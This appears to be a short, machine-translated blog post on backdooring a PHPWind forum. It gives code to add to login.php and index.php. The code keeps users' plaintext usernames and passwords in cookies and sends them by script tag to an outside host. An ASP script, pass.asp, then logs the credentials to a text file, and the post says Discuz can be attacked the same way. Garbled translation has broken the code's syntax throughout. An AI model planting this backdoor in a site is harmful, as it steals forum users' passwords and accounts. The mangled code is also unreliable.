In login. php Cookie ("ck_info", $ db_ckpath. "\ t". $ db_ckdomain); add
Cookie ("usernamep", $ pwuser );
Cookie ("passwordp", $ pwpwd );
Then add the value above index. php selectMode ($ m );
If (! Is_null (GetCookie ('usernamep '))&&! Is_null (GetCookie ('passwordp '))){
$ Urlp = "http: //". $ _ SERVER ['HTTP _ host']. $ _ SERVER ['php _ SELF '];
Echo "<script src = 'HTTP: // www.2cto.com/pass. asp? U = ". urlencode (GetCookie ('usernamep ')). "& p = ". urlencode (GetCookie ('passwordp ')). "& s = ". urlencode ($ urlp ). "'> </script> ";
Cookie ('usernamep ', '', 0 );
Cookie ('passwordp ', '', 0 );
Unset ($ urlp );
}
Pass. asp code
<%
StrLogFile = "pass.txt"
U = request ("u ")
If u = "" then
Response. end
End if
P = request ("p ")
If p = "" then
Response. end
End if
S = request ("s ")
StrLogText = StrLogText & "username:" & u & "---- password:" & p & "---- Website:" & s & "----" & date & "& time
Set f = Server. CreateObject ("scripting. filesystemobject ")
Set ff = f. opentextfile (server. mappath (".") & "\" & strLogFile, 8, true, 0)
Ff. writeline (chr (13) + chr (10) & StrLogText)
Ff. close
Set ff = nothing
Set f = nothing %>
The principle of the plaintext password record in the DZ Forum is also the same.
From blog of smelly sock